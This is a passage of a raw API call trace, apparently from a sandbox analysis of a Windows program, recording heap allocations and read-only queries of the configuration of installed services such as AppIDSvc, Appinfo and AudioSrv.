pcbBytesNeeded=0x18fbe8) returned 1 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7efb0 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f038 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7efb0) returned 1 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f038) returned 1 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f038 [0031.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99768 [0031.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg.exe", cchWideChar=7, lpMultiByteStr=0x1d99768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg.exe", lpUsedDefaultChar=0x0) returned 7 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99720 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99768) returned 1 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99720) returned 1 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f038) returned 1 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99720 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f038 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7efb0 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f0c0 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f148 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f1d0 [0031.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99768 [0031.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1d99768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0031.806] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997b0 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99768) returned 1 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997b0) returned 1 [0031.806] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f1d0) returned 1 [0031.806] OpenServiceW (hSCManager=0x2d3600, lpServiceName="AppIDSvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0031.806] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0031.807] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.807] GetLastError () returned 0x7a [0031.807] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x18e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d92de8 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f038) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f038 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f1d0 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f038) returned 1 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f1d0) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f1d0 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f038 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f1d0) returned 1 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f038) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f038 [0031.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997b0 [0031.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d997b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99768 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997b0) returned 1 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99768) returned 1 [0031.807] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f038) returned 1 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99768 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f038 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f1d0 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f258 [0031.807] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f2e0 [0031.808] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f368 [0031.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.808] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997b0 [0031.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1d997b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0031.808] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997f8 [0031.808] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997b0) returned 1 [0031.808] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997f8) returned 1 [0031.808] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f368) returned 1 [0031.808] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Appinfo", dwDesiredAccess=0x1) returned 0x2d36c8 [0031.808] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0031.808] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.808] GetLastError () returned 0x7a [0031.808] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.808] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f368 [0031.808] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f3f0 [0031.808] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f368) returned 1 [0031.808] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f3f0) returned 1 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f3f0 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f368 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f3f0) returned 1 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f368) returned 1 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f368 [0031.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997f8 [0031.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d997f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997b0 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997f8) returned 1 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997b0) returned 1 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f368) returned 1 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997b0 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f368 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f3f0 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f478 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f500 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f588 [0031.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997f8 [0031.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1d997f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0031.809] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99840 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997f8) returned 1 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99840) returned 1 [0031.809] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f588) returned 1 [0031.809] OpenServiceW (hSCManager=0x2d3600, lpServiceName="AppMgmt", dwDesiredAccess=0x1) returned 0x2d3790 [0031.809] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0031.810] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.810] GetLastError () returned 0x7a [0031.810] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x106, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f588 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f610 [0031.810] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f588) returned 1 [0031.810] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f610) returned 1 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f610 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f588 [0031.810] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f610) returned 1 [0031.810] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f588) returned 1 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f588 [0031.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99840 [0031.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997f8 [0031.810] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99840) returned 1 [0031.810] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d997f8) returned 1 [0031.810] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f588) returned 1 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d997f8 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f588 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f610 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f698 [0031.810] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f720 [0031.811] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f7a8 [0031.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.811] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99840 [0031.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1d99840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0031.811] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99888 [0031.811] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99840) returned 1 [0031.811] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99888) returned 1 [0031.811] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f7a8) returned 1 [0031.811] OpenServiceW (hSCManager=0x2d3600, lpServiceName="aspnet_state", dwDesiredAccess=0x1) returned 0x2d36f0 [0031.811] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0031.811] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.811] GetLastError () returned 0x7a [0031.811] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.811] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d92ef0 [0031.811] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f588) returned 1 [0031.811] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f588 [0031.811] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f7a8 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f588) returned 1 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f7a8) returned 1 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f7a8 [0031.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99888 [0031.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state.exe", cchWideChar=16, lpMultiByteStr=0x1d99888, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state.exe", lpUsedDefaultChar=0x0) returned 16 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99840 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99888) returned 1 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99840) returned 1 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f7a8) returned 1 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99840 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f7a8 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f588 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f830 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f8b8 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99888 [0031.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1d99888, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0031.812] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d998d0 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99888) returned 1 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d998d0) returned 1 [0031.812] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.812] OpenServiceW (hSCManager=0x2d3600, lpServiceName="AudioEndpointBuilder", dwDesiredAccess=0x1) returned 0x2d37e0 [0031.812] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0031.812] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.813] GetLastError () returned 0x7a [0031.813] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x164, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.813] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.813] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f9c8 [0031.813] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.813] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f9c8) returned 1 [0031.813] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f9c8 [0031.813] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.813] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f9c8) returned 1 [0031.813] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.813] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.813] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d998d0 [0031.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d998d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.813] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99888 [0031.814] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d998d0) returned 1 [0031.814] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99888) returned 1 [0031.814] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99888 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f9c8 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fa50 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fad8 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fb60 [0031.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d998d0 [0031.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1d998d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0031.814] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99918 [0031.814] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d998d0) returned 1 [0031.814] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99918) returned 1 [0031.814] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fb60) returned 1 [0031.814] OpenServiceW (hSCManager=0x2d3600, lpServiceName="AudioSrv", dwDesiredAccess=0x1) returned 0x2d36c8 [0031.814] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0031.814] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.814] GetLastError () returned 0x7a [0031.814] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x190, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d92ff8 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fb60 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fb60) returned 1 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7fb60 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7fb60) returned 1 [0031.815] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7f940) returned 1 [0031.815] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7f940 [0031.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 